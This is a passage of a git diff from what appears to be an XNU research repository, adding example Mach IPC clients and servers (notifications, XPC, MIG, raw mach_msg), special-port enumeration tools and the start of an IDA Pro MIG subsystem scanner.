postNotificationName:@"com.crimson.message_service"
|
||||
object:nil
|
||||
userInfo:@{@"message": message}
|
||||
deliverImmediately:YES];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
31
X. NU/custom/mach_ipc/client_server_NSNotification/server.m
Normal file
31
X. NU/custom/mach_ipc/client_server_NSNotification/server.m
Normal file
@@ -0,0 +1,31 @@
|
||||
// server.m
|
||||
#import <Foundation/Foundation.h>
|
||||
|
||||
@interface MessageServer : NSObject
|
||||
- (void)handleMessage:(NSNotification *)notification;
|
||||
@end
|
||||
|
||||
@implementation MessageServer
|
||||
- (id)init {
|
||||
if (self = [super init]) {
|
||||
[[NSDistributedNotificationCenter defaultCenter]
|
||||
addObserver:self
|
||||
selector:@selector(handleMessage:)
|
||||
name:@"com.crimson.message_service"
|
||||
object:nil];
|
||||
}
|
||||
return self;
|
||||
}
|
||||
|
||||
- (void)handleMessage:(NSNotification *)notification {
|
||||
NSLog(@"Received: %@", notification.userInfo[@"message"]);
|
||||
}
|
||||
@end
|
||||
|
||||
int main() {
|
||||
@autoreleasepool {
|
||||
MessageServer *server = [[MessageServer alloc] init];
|
||||
[[NSRunLoop currentRunLoop] run];
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
58
X. NU/custom/mach_ipc/client_server_XPC/Makefile
Normal file
58
X. NU/custom/mach_ipc/client_server_XPC/Makefile
Normal file
@@ -0,0 +1,58 @@
|
||||
# Compiler and flags
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Wextra -O2 # Enable warnings and basic optimization
|
||||
FRAMEWORKS = -framework Foundation
|
||||
|
||||
# Binary names and paths
|
||||
SERVICE_NAME = crimson_xpc_service
|
||||
CLIENT_NAME = crimson_xpc_client
|
||||
INSTALL_PATH = /usr/local/bin
|
||||
LAUNCHD_PATH = /Library/LaunchDaemons
|
||||
PLIST_NAME = com.crimson.xpc.message_service.plist
|
||||
|
||||
# Source files
|
||||
SERVICE_SRC = crimson_xpc_service.c
|
||||
CLIENT_SRC = crimson_xpc_client.c
|
||||
|
||||
# Default target builds both executables
|
||||
all: $(SERVICE_NAME) $(CLIENT_NAME)
|
||||
|
||||
# Build the XPC service
|
||||
$(SERVICE_NAME): $(SERVICE_SRC)
|
||||
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
|
||||
|
||||
# Build the XPC client
|
||||
$(CLIENT_NAME): $(CLIENT_SRC)
|
||||
$(CC) $(CFLAGS) -o $@ $< $(FRAMEWORKS)
|
||||
|
||||
# Install everything (requires sudo)
|
||||
install: all
|
||||
@echo "Installing XPC service and client..."
|
||||
sudo cp $(SERVICE_NAME) $(INSTALL_PATH)/
|
||||
sudo cp $(PLIST_NAME) $(LAUNCHD_PATH)/
|
||||
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
|
||||
sudo launchctl load $(LAUNCHD_PATH)/$(PLIST_NAME)
|
||||
@echo "Installation complete"
|
||||
|
||||
# Clean up compiled files
|
||||
clean:
|
||||
rm -f $(SERVICE_NAME) $(CLIENT_NAME)
|
||||
|
||||
# Uninstall everything (requires sudo)
|
||||
uninstall:
|
||||
@echo "Uninstalling XPC service and client..."
|
||||
sudo launchctl unload $(LAUNCHD_PATH)/$(PLIST_NAME) 2>/dev/null || true
|
||||
sudo rm -f $(INSTALL_PATH)/$(SERVICE_NAME)
|
||||
sudo rm -f $(LAUNCHD_PATH)/$(PLIST_NAME)
|
||||
@echo "Uninstallation complete"
|
||||
|
||||
# Help target to show available commands
|
||||
help:
|
||||
@echo "Available targets:"
|
||||
@echo " make all - Build both service and client"
|
||||
@echo " make install - Install and load the service (requires sudo)"
|
||||
@echo " make clean - Remove compiled files"
|
||||
@echo " make uninstall - Remove installed files (requires sudo)"
|
||||
|
||||
# Declare our phony targets (targets that don't create files)
|
||||
.PHONY: all install clean uninstall help
|
||||
@@ -0,0 +1,17 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
<plist version="1.0">
|
||||
<dict>
|
||||
<key>Label</key>
|
||||
<string>com.crimson.xpc.message_service</string>
|
||||
<key>Program</key>
|
||||
<string>/usr/local/bin/crimson_xpc_service</string>
|
||||
<key>MachServices</key>
|
||||
<dict>
|
||||
<key>com.crimson.xpc.message_service</key>
|
||||
<true/>
|
||||
</dict>
|
||||
<key>KeepAlive</key>
|
||||
<false/>
|
||||
</dict>
|
||||
</plist>
|
||||
62
X. NU/custom/mach_ipc/client_server_XPC/crimson_xpc_client.c
Normal file
62
X. NU/custom/mach_ipc/client_server_XPC/crimson_xpc_client.c
Normal file
@@ -0,0 +1,62 @@
|
||||
// crimson_xpc_client.c
|
||||
// This client demonstrates how to create and manage an XPC connection to communicate
|
||||
// with a LaunchDaemon or LaunchAgent service
|
||||
|
||||
#include <xpc/xpc.h> // XPC framework for secure inter-process communication
|
||||
#include <dispatch/dispatch.h> // GCD for asynchronous operations and event handling
|
||||
#include <stdio.h> // Standard I/O for error reporting and status messages
|
||||
#include <stdlib.h> // Standard library for program termination functions
|
||||
|
||||
int main(void) {
|
||||
// Initialize an XPC connection to a Mach service
|
||||
// The service name must match the label in the service's plist file
|
||||
// XPC_CONNECTION_MACH_SERVICE_PRIVILEGED indicates this client expects
|
||||
// to connect to a privileged service (typically a LaunchDaemon)
|
||||
xpc_connection_t conn = xpc_connection_create_mach_service(
|
||||
"com.crimson.xpc.message_service",
|
||||
dispatch_get_main_queue(), // Main queue handles all connection events
|
||||
XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
|
||||
);
|
||||
|
||||
// Configure an event handler for connection-level events
|
||||
// This handler processes XPC_TYPE_ERROR events, which occur on
|
||||
// connection failures, service termination, or invalid messages
|
||||
xpc_connection_set_event_handler(conn, ^(xpc_object_t event) {
|
||||
if (xpc_get_type(event) == XPC_TYPE_ERROR) {
|
||||
fprintf(stderr, "Connection error: %s\n",
|
||||
xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION));
|
||||
}
|
||||
});
|
||||
|
||||
// Activate the connection to begin processing events
|
||||
// Must be called before any messages can be sent
|
||||
xpc_connection_resume(conn);
|
||||
|
||||
// Create an XPC dictionary to encapsulate the message data
|
||||
// XPC dictionaries are the primary container type for XPC messages
|
||||
xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_string(message, "message_data", "Hello from Crimson!");
|
||||
|
||||
// Send message and handle response asynchronously
|
||||
// The reply block executes when the service responds or on timeout
|
||||
xpc_connection_send_message_with_reply(conn, message,
|
||||
dispatch_get_main_queue(), ^(xpc_object_t reply) {
|
||||
if (xpc_get_type(reply) == XPC_TYPE_DICTIONARY) {
|
||||
printf("Reply status: %s\n",
|
||||
xpc_dictionary_get_string(reply, "status"));
|
||||
}
|
||||
// Schedule program termination after reply processing
|
||||
// Using dispatch_async ensures clean shutdown
|
||||
dispatch_async(dispatch_get_main_queue(), ^{
|
||||
exit(0);
|
||||
});
|
||||
});
|
||||
|
||||
// Decrement the message object's reference count
|
||||
// XPC uses manual reference counting for memory management
|
||||
xpc_release(message);
|
||||
|
||||
// Run the main dispatch loop to process asynchronous events
|
||||
// This call never returns - program exits via the reply handler
|
||||
dispatch_main();
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
// crimson_xpc_service.c
|
||||
// This implements an XPC service that can be launched as a LaunchDaemon or LaunchAgent
|
||||
// It demonstrates basic XPC message handling and connection management patterns
|
||||
|
||||
#include <xpc/xpc.h> // XPC for inter-process communication
|
||||
#include <dispatch/dispatch.h> // GCD for asynchronous event handling
|
||||
#include <stdio.h> // Standard I/O for logging messages
|
||||
|
||||
int main(void) {
|
||||
// Initialize the XPC service listener
|
||||
// XPC_CONNECTION_MACH_SERVICE_LISTENER indicates this process will accept incoming connections
|
||||
// The service name must match both the client and the service's launchd plist MachServices entry
|
||||
xpc_connection_t service = xpc_connection_create_mach_service(
|
||||
"com.crimson.xpc.message_service",
|
||||
dispatch_get_main_queue(), // Main queue handles all service events
|
||||
XPC_CONNECTION_MACH_SERVICE_LISTENER
|
||||
);
|
||||
|
||||
// Set up handler for new client connections
|
||||
// This outer handler processes connection establishment events
|
||||
// Each new client connection creates a new peer object
|
||||
xpc_connection_set_event_handler(service, ^(xpc_object_t peer) {
|
||||
// Security check: Validate connection object type
|
||||
// Early return prevents processing of invalid connection attempts
|
||||
if (xpc_get_type(peer) != XPC_TYPE_CONNECTION) return;
|
||||
|
||||
// Configure message handler for this specific client connection
|
||||
// Each client gets its own message handler to maintain separation
|
||||
xpc_connection_set_event_handler(peer, ^(xpc_object_t message) {
|
||||
// Only process dictionary-type messages for protocol compliance
|
||||
if (xpc_get_type(message) == XPC_TYPE_DICTIONARY) {
|
||||
// Extract message data with bounds checking via len parameter
|
||||
// This prevents buffer overflow vulnerabilities
|
||||
size_t len;
|
||||
const void* data = xpc_dictionary_get_data(message, "message_data", &len);
|
||||
if (data) printf("Received: %.*s\n", (int)len, (char*)data);
|
||||
|
||||
// Create and send reply to the client
|
||||
// xpc_dictionary_create_reply maintains message context for proper routing
|
||||
xpc_object_t reply = xpc_dictionary_create_reply(message);
|
||||
xpc_dictionary_set_string(reply, "status", "received");
|
||||
xpc_connection_send_message(peer, reply);
|
||||
xpc_release(reply); // Clean up reply object to prevent memory leaks
|
||||
}
|
||||
});
|
||||
|
||||
// Activate this client's connection to begin processing its messages
|
||||
xpc_connection_resume(peer);
|
||||
});
|
||||
|
||||
// Activate the service listener to begin accepting connections
|
||||
xpc_connection_resume(service);
|
||||
|
||||
// Run the main dispatch loop
|
||||
// This service will continue running until terminated by launchd
|
||||
dispatch_main();
|
||||
}
|
||||
26
X. NU/custom/mach_ipc/client_server_mig/Makefile
Normal file
26
X. NU/custom/mach_ipc/client_server_mig/Makefile
Normal file
@@ -0,0 +1,26 @@
|
||||
# Makefile for Mach IPC example with MIG
|
||||
|
||||
# Compiler settings
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Werror
|
||||
|
||||
# Default target
|
||||
all: server client
|
||||
|
||||
# Generate MIG files from definition
|
||||
mig_files: message.defs
|
||||
mig message.defs
|
||||
|
||||
# Build server with MIG-generated files
|
||||
server: mig_files server.c messageServer.c
|
||||
$(CC) $(CFLAGS) server.c messageServer.c -o server
|
||||
|
||||
# Build client with MIG-generated files
|
||||
client: mig_files client.c messageUser.c
|
||||
$(CC) $(CFLAGS) client.c messageUser.c -o client
|
||||
|
||||
# Clean generated files and executables
|
||||
clean:
|
||||
rm -f server client message.h messageUser.c messageServer.c
|
||||
|
||||
.PHONY: all clean mig_files
|
||||
29
X. NU/custom/mach_ipc/client_server_mig/client.c
Normal file
29
X. NU/custom/mach_ipc/client_server_mig/client.c
Normal file
@@ -0,0 +1,29 @@
|
||||
// client.c - MIG version
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "message.h" // MIG-generated header
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Validate command line arguments
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Get bootstrap port for service lookup
|
||||
mach_port_t port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Use MIG-generated function to send message
|
||||
// This handles all the message structure creation internally
|
||||
USER_send_message(port, (pointer_t)argv[1], strlen(argv[1]));
|
||||
return 0;
|
||||
}
|
||||
17
X. NU/custom/mach_ipc/client_server_mig/message.defs
Normal file
17
X. NU/custom/mach_ipc/client_server_mig/message.defs
Normal file
@@ -0,0 +1,17 @@
|
||||
// message.defs - MIG Interface Definition
|
||||
subsystem message 400; // Define subsystem name and ID
|
||||
|
||||
// Prefix for generated client and server function names
|
||||
userprefix USER_;
|
||||
serverprefix SERVER_;
|
||||
|
||||
// Include necessary Mach type definitions
|
||||
#include <mach/mach_types.defs>
|
||||
#include <mach/std_types.defs>
|
||||
|
||||
// Define our message passing routine
|
||||
// 'simpleroutine' means one-way communication (no reply expected)
|
||||
// pointer_t is used for variable-length data
|
||||
simpleroutine send_message(
|
||||
server_port : mach_port_t; // Port to send message to
|
||||
message : pointer_t); // Message data
|
||||
39
X. NU/custom/mach_ipc/client_server_mig/server.c
Normal file
39
X. NU/custom/mach_ipc/client_server_mig/server.c
Normal file
@@ -0,0 +1,39 @@
|
||||
// server.c - MIG version
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
#include "message.h"
|
||||
|
||||
// Function prototype for MIG-generated server function
|
||||
extern boolean_t message_server(
|
||||
mach_msg_header_t *InHeadP,
|
||||
mach_msg_header_t *OutHeadP);
|
||||
|
||||
// Implementation of our message handling function
|
||||
// This is called by MIG-generated code when a message arrives
|
||||
kern_return_t SERVER_send_message(
|
||||
mach_port_t server_port,
|
||||
vm_offset_t message,
|
||||
mach_msg_type_number_t messageCnt)
|
||||
{
|
||||
// Simply print the received message
|
||||
printf("Received message: %s\n", (char*)message);
|
||||
return KERN_SUCCESS;
|
||||
}
|
||||
|
||||
int main() {
|
||||
mach_port_t port;
|
||||
kern_return_t kr;
|
||||
|
||||
// Register our service with the bootstrap server
|
||||
kr = bootstrap_check_in(bootstrap_port, "com.crimson.message_service", &port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("bootstrap_check_in() failed with code 0x%x\n", kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Start message handling loop using MIG-generated server function
|
||||
// 4096 is the maximum message size
|
||||
mach_msg_server(message_server, 4096, port, MACH_MSG_TIMEOUT_NONE);
|
||||
return 0;
|
||||
}
|
||||
22
X. NU/custom/mach_ipc/client_server_no_mig/Makefile
Normal file
22
X. NU/custom/mach_ipc/client_server_no_mig/Makefile
Normal file
@@ -0,0 +1,22 @@
|
||||
# Makefile for Mach IPC example without MIG
|
||||
|
||||
# Compiler settings
|
||||
CC = gcc
|
||||
CFLAGS = -Wall -Werror
|
||||
|
||||
# Default target
|
||||
all: server client
|
||||
|
||||
# Build server
|
||||
server: server.c
|
||||
$(CC) $(CFLAGS) server.c -o server
|
||||
|
||||
# Build client
|
||||
client: client.c
|
||||
$(CC) $(CFLAGS) client.c -o client
|
||||
|
||||
# Clean generated files and executables
|
||||
clean:
|
||||
rm -f server client
|
||||
|
||||
.PHONY: all clean
|
||||
77
X. NU/custom/mach_ipc/client_server_no_mig/client.c
Normal file
77
X. NU/custom/mach_ipc/client_server_no_mig/client.c
Normal file
@@ -0,0 +1,77 @@
|
||||
// client.c
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
/*
|
||||
* Message structure for IPC communication
|
||||
* Consists of two parts:
|
||||
* 1. mach_msg_header_t h - Standard Mach message header required for all IPC
|
||||
* 2. char d[1024] - Data buffer for the actual message content
|
||||
*/
|
||||
typedef struct {
|
||||
mach_msg_header_t h; // Header must be first member
|
||||
char d[1024]; // Data buffer follows immediately after header
|
||||
} msg_t;
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
// Validate command line arguments
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <message>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Step 1: Get the bootstrap port
|
||||
// Bootstrap server is the central name server in Mach IPC
|
||||
mach_port_t bootstrap_port;
|
||||
task_get_special_port(mach_task_self(),
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
&bootstrap_port);
|
||||
|
||||
// Step 2: Look up the service port using bootstrap server
|
||||
// This finds our server process using the registered name
|
||||
mach_port_t service_port;
|
||||
kern_return_t kr = bootstrap_look_up(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Service not found\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
// Step 3: Prepare the message structure
|
||||
// Initialize message structure to zero
|
||||
msg_t message = {0};
|
||||
|
||||
// Configure message header
|
||||
message.h.msgh_bits = MACH_MSGH_BITS_REMOTE(MACH_MSG_TYPE_COPY_SEND); // Set message type to copy-send
|
||||
message.h.msgh_size = sizeof(msg_t); // Total size of message struct
|
||||
message.h.msgh_remote_port = service_port; // Destination port
|
||||
message.h.msgh_local_port = MACH_PORT_NULL; // No reply port needed
|
||||
message.h.msgh_id = 0; // Message ID (unused in this case)
|
||||
|
||||
// Copy the user's message into data buffer
|
||||
// Using strncpy to prevent buffer overflow
|
||||
strncpy(message.d, argv[1], sizeof(message.d) - 1);
|
||||
message.d[sizeof(message.d) - 1] = '\0'; // Ensure null termination
|
||||
|
||||
// Step 4: Send the message
|
||||
kr = mach_msg(
|
||||
&message.h, // Message header pointer
|
||||
MACH_SEND_MSG, // Send-only operation
|
||||
sizeof(msg_t), // Size of entire message
|
||||
0, // Maximum receive size (unused for send)
|
||||
MACH_PORT_NULL, // Destination port (unused for send)
|
||||
MACH_MSG_TIMEOUT_NONE,// No timeout
|
||||
MACH_PORT_NULL // No notify port
|
||||
);
|
||||
|
||||
// Step 5: Check for errors and return status
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to send message\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
55
X. NU/custom/mach_ipc/client_server_no_mig/server.c
Normal file
55
X. NU/custom/mach_ipc/client_server_no_mig/server.c
Normal file
@@ -0,0 +1,55 @@
|
||||
// server.c
|
||||
#include <stdio.h>
|
||||
#include <mach/mach.h>
|
||||
#include <servers/bootstrap.h>
|
||||
|
||||
int main() {
|
||||
// Step 1: Get the bootstrap port
|
||||
mach_port_t bootstrap_port;
|
||||
task_get_special_port(mach_task_self(),
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
&bootstrap_port);
|
||||
|
||||
// Step 2: Register our service with the bootstrap server
|
||||
// This allows clients to find us using the service name
|
||||
mach_port_t service_port;
|
||||
kern_return_t kr = bootstrap_check_in(bootstrap_port,
|
||||
"com.crimson.message_service",
|
||||
&service_port);
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to register service\n");
|
||||
return 1;
|
||||
}
|
||||
|
||||
printf("Server running...\n");
|
||||
|
||||
// Allocate buffer for receiving messages
|
||||
// Buffer must be large enough for header + maximum message size
|
||||
char buffer[2048];
|
||||
mach_msg_header_t *msg = (mach_msg_header_t*)buffer;
|
||||
|
||||
// Main message receive loop
|
||||
while (1) {
|
||||
// Receive message
|
||||
kr = mach_msg(
|
||||
msg, // Buffer to receive message
|
||||
MACH_RCV_MSG, // Receive-only operation
|
||||
0, // Send size (unused for receive)
|
||||
sizeof(buffer), // Maximum receive size
|
||||
service_port, // Port to receive on
|
||||
MACH_MSG_TIMEOUT_NONE, // No timeout
|
||||
MACH_PORT_NULL // No notify port
|
||||
);
|
||||
|
||||
// Process received message
|
||||
if (kr == KERN_SUCCESS) {
|
||||
// Message data follows immediately after header
|
||||
char *data = (char*)(msg + 1);
|
||||
printf("Received: %s\n", data);
|
||||
} else {
|
||||
printf("Error receiving message\n");
|
||||
}
|
||||
}
|
||||
|
||||
return 0; // Never reached in this example
|
||||
}
|
||||
100
X. NU/custom/mach_ipc/enum_special_port_rights_pid.c
Normal file
100
X. NU/custom/mach_ipc/enum_special_port_rights_pid.c
Normal file
@@ -0,0 +1,100 @@
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
const char* get_special_port_name(int port_id) {
|
||||
switch (port_id) {
|
||||
case TASK_KERNEL_PORT:
|
||||
return "TASK_KERNEL_PORT";
|
||||
case TASK_HOST_PORT:
|
||||
return "TASK_HOST_PORT";
|
||||
case TASK_NAME_PORT:
|
||||
return "TASK_NAME_PORT";
|
||||
case TASK_BOOTSTRAP_PORT:
|
||||
return "TASK_BOOTSTRAP_PORT";
|
||||
case TASK_INSPECT_PORT:
|
||||
return "TASK_INSPECT_PORT";
|
||||
case TASK_READ_PORT:
|
||||
return "TASK_READ_PORT";
|
||||
case TASK_ACCESS_PORT:
|
||||
return "TASK_ACCESS_PORT";
|
||||
case TASK_DEBUG_CONTROL_PORT:
|
||||
return "TASK_DEBUG_CONTROL_PORT";
|
||||
case TASK_RESOURCE_NOTIFY_PORT:
|
||||
return "TASK_RESOURCE_NOTIFY_PORT";
|
||||
default:
|
||||
return "UNKNOWN_PORT";
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc != 2) {
|
||||
printf("Usage: %s <pid>\n", argv[0]);
|
||||
return 1;
|
||||
}
|
||||
|
||||
pid_t pid = atoi(argv[1]);
|
||||
task_t task;
|
||||
kern_return_t kr = task_for_pid(mach_task_self(), pid, &task);
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf("Failed to get task for pid %d: %s (0x%x)\n",
|
||||
pid, mach_error_string(kr), kr);
|
||||
return 1;
|
||||
}
|
||||
|
||||
int special_ports[] = {
|
||||
TASK_KERNEL_PORT,
|
||||
TASK_HOST_PORT,
|
||||
TASK_NAME_PORT,
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
TASK_INSPECT_PORT,
|
||||
TASK_READ_PORT,
|
||||
TASK_ACCESS_PORT,
|
||||
TASK_DEBUG_CONTROL_PORT,
|
||||
TASK_RESOURCE_NOTIFY_PORT
|
||||
};
|
||||
|
||||
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
|
||||
|
||||
printf("Listing Special Ports for PID %d (1 to %d):\n", pid, TASK_MAX_SPECIAL_PORT);
|
||||
printf("================================\n");
|
||||
|
||||
for (int i = 0; i < num_ports; i++) {
|
||||
mach_port_t special_port;
|
||||
kr = task_get_special_port(task, special_ports[i], &special_port);
|
||||
|
||||
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
|
||||
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
|
||||
} else {
|
||||
printf(" Port number: 0x%x\n", special_port);
|
||||
|
||||
mach_port_type_t port_type;
|
||||
kr = mach_port_type(task, special_port, &port_type);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
printf(" Rights: ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND)
|
||||
printf("SEND ");
|
||||
if (port_type & MACH_PORT_TYPE_RECEIVE)
|
||||
printf("RECEIVE ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
|
||||
printf("SEND_ONCE ");
|
||||
if (port_type & MACH_PORT_TYPE_PORT_SET)
|
||||
printf("PORT_SET ");
|
||||
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
|
||||
printf("DEAD_NAME ");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
mach_port_deallocate(mach_task_self(), task);
|
||||
return 0;
|
||||
}
|
||||
87
X. NU/custom/mach_ipc/enum_special_port_rights_self.c
Normal file
87
X. NU/custom/mach_ipc/enum_special_port_rights_self.c
Normal file
@@ -0,0 +1,87 @@
|
||||
// Ports from: https://github.com/apple-oss-distributions/xnu/blob/8d741a5de7ff4191bf97d57b9f54c2f6d4a15585/osfmk/mach/task_special_ports.h#L70-L98
|
||||
// clang -o enum_special_port_rights enum_special_port_rights.c
|
||||
#include <mach/mach.h>
|
||||
#include <mach/mach_init.h>
|
||||
#include <mach/mach_error.h>
|
||||
#include <mach/task_special_ports.h>
|
||||
#include <stdio.h>
|
||||
|
||||
const char* get_special_port_name(int port_id) {
|
||||
switch (port_id) {
|
||||
case TASK_KERNEL_PORT:
|
||||
return "TASK_KERNEL_PORT";
|
||||
case TASK_HOST_PORT:
|
||||
return "TASK_HOST_PORT";
|
||||
case TASK_NAME_PORT:
|
||||
return "TASK_NAME_PORT";
|
||||
case TASK_BOOTSTRAP_PORT:
|
||||
return "TASK_BOOTSTRAP_PORT";
|
||||
case TASK_INSPECT_PORT:
|
||||
return "TASK_INSPECT_PORT";
|
||||
case TASK_READ_PORT:
|
||||
return "TASK_READ_PORT";
|
||||
case TASK_ACCESS_PORT:
|
||||
return "TASK_ACCESS_PORT";
|
||||
case TASK_DEBUG_CONTROL_PORT:
|
||||
return "TASK_DEBUG_CONTROL_PORT";
|
||||
case TASK_RESOURCE_NOTIFY_PORT:
|
||||
return "TASK_RESOURCE_NOTIFY_PORT";
|
||||
default:
|
||||
return "UNKNOWN_PORT";
|
||||
}
|
||||
}
|
||||
|
||||
int main() {
|
||||
task_t task = mach_task_self();
|
||||
|
||||
int special_ports[] = {
|
||||
TASK_KERNEL_PORT,
|
||||
TASK_HOST_PORT,
|
||||
TASK_NAME_PORT,
|
||||
TASK_BOOTSTRAP_PORT,
|
||||
TASK_INSPECT_PORT,
|
||||
TASK_READ_PORT,
|
||||
TASK_ACCESS_PORT,
|
||||
TASK_DEBUG_CONTROL_PORT,
|
||||
TASK_RESOURCE_NOTIFY_PORT
|
||||
};
|
||||
|
||||
int num_ports = sizeof(special_ports) / sizeof(special_ports[0]);
|
||||
|
||||
printf("Listing All Special Ports (1 to %d):\n", TASK_MAX_SPECIAL_PORT);
|
||||
printf("================================\n");
|
||||
|
||||
for (int i = 0; i < num_ports; i++) {
|
||||
mach_port_t special_port;
|
||||
kern_return_t kr = task_get_special_port(task, special_ports[i], &special_port);
|
||||
|
||||
printf("Port %d (%s):\n", special_ports[i], get_special_port_name(special_ports[i]));
|
||||
printf(" Status: %s\n", kr == KERN_SUCCESS ? "SUCCESS" : "FAILED");
|
||||
|
||||
if (kr != KERN_SUCCESS) {
|
||||
printf(" Error: %s (0x%x)\n", mach_error_string(kr), kr);
|
||||
} else {
|
||||
printf(" Port number: 0x%x\n", special_port);
|
||||
|
||||
mach_port_type_t port_type;
|
||||
kr = mach_port_type(task, special_port, &port_type);
|
||||
if (kr == KERN_SUCCESS) {
|
||||
printf(" Rights: ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND)
|
||||
printf("SEND ");
|
||||
if (port_type & MACH_PORT_TYPE_RECEIVE)
|
||||
printf("RECEIVE ");
|
||||
if (port_type & MACH_PORT_TYPE_SEND_ONCE)
|
||||
printf("SEND_ONCE ");
|
||||
if (port_type & MACH_PORT_TYPE_PORT_SET)
|
||||
printf("PORT_SET ");
|
||||
if (port_type & MACH_PORT_TYPE_DEAD_NAME)
|
||||
printf("DEAD_NAME ");
|
||||
printf("\n");
|
||||
}
|
||||
}
|
||||
printf("\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
189
X. NU/custom/mach_ipc/ida_mig_subsystem_scanner.py
Normal file
189
X. NU/custom/mach_ipc/ida_mig_subsystem_scanner.py
Normal file
@@ -0,0 +1,189 @@
|
||||
"""
|
||||
IDA Pro MIG Subsystem Scanner
|
||||
Automatically identifies and labels Mach Interface Generator (MIG) subsystems
|
||||
in XNU kernelcache, kext binaries and other Mach-based binaries.
|
||||
|
||||
Author: Karol Mazurek @karmaz95
|
||||
Based on: https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py
|
||||
Usage: Run from IDA Pro's script console or via File > Script file
|
||||
"""
|
||||
|
||||
import idc
|
||||
import idautils
|
||||
import idaapi
|
||||
import ida_bytes
|
||||
import ida_name
|
||||
import ida_segment
|
||||
import ida_funcs
|
||||
|
||||
|
||||
class MIGSubsystemScanner:
|
||||
"""Scanner for MIG subsystem structures in Mach kernel binaries."""
|
||||
|
||||
# Target segments where MIG subsystems are typically stored
|
||||
TARGET_SEGMENTS = [
|
||||
"__DATA:__const",
|
||||
"__CONST:__constdata",
|
||||
"__DATA_CONST:__const",
|
||||
"__const"
|
||||
]
|
||||
|
||||
# MIG subsystem structure offsets (arm64)
|
||||
OFFSET_START = 0x08 # subsystem start ID (u32)
|
||||
OFFSET_END = 0x0C # subsystem end ID (u32)
|
||||
OFFSET_RESERVED = 0x18 # reserved field (u64)
|
||||
OFFSET_ROUTINES = 0x20 # routine array start (u64)
|
||||
|
||||
# MIG routine descriptor size
|
||||
ROUTINE_SIZE = 0x28 # 40 bytes per routine
|
||||
ROUTINE_STUB_OFFSET = 0x08 # stub_routine pointer offset
|
||||
|
||||
def __init__(self):
|
||||
self.found_count = 0
|
||||
self.total_messages = 0
|
||||
|
||||
def is_valid_subsystem(self, addr):
|
||||
"""
|
||||
Validate potential MIG subsystem structure using heuristics.
|
||||
|
||||
Args:
|
||||
addr: Address to check
|
||||
|
||||
Returns:
|
||||
tuple: (is_valid, start_id, end_id) or (False, 0, 0)
|
||||
"""
|
||||
# Check reserved field must be 0
|
||||
reserved = ida_bytes.get_qword(addr + self.OFFSET_RESERVED)
|
||||
if reserved != 0:
|
||||
return (False, 0, 0)
|
||||
|
||||
# Check first routine impl must be 0 (first entry is always NULL)
|
||||
routine0_impl = ida_bytes.get_qword(addr + self.OFFSET_ROUTINES)
|
||||
if routine0_impl != 0:
|
||||
return (False, 0, 0)
|
||||
|
||||
# Read subsystem ID range
|
||||
start_id = ida_bytes.get_dword(addr + self.OFFSET_START)
|
||||
end_id = ida_bytes.get_dword(addr + self.OFFSET_END)
|
||||
|
||||
# Validate ID range
|
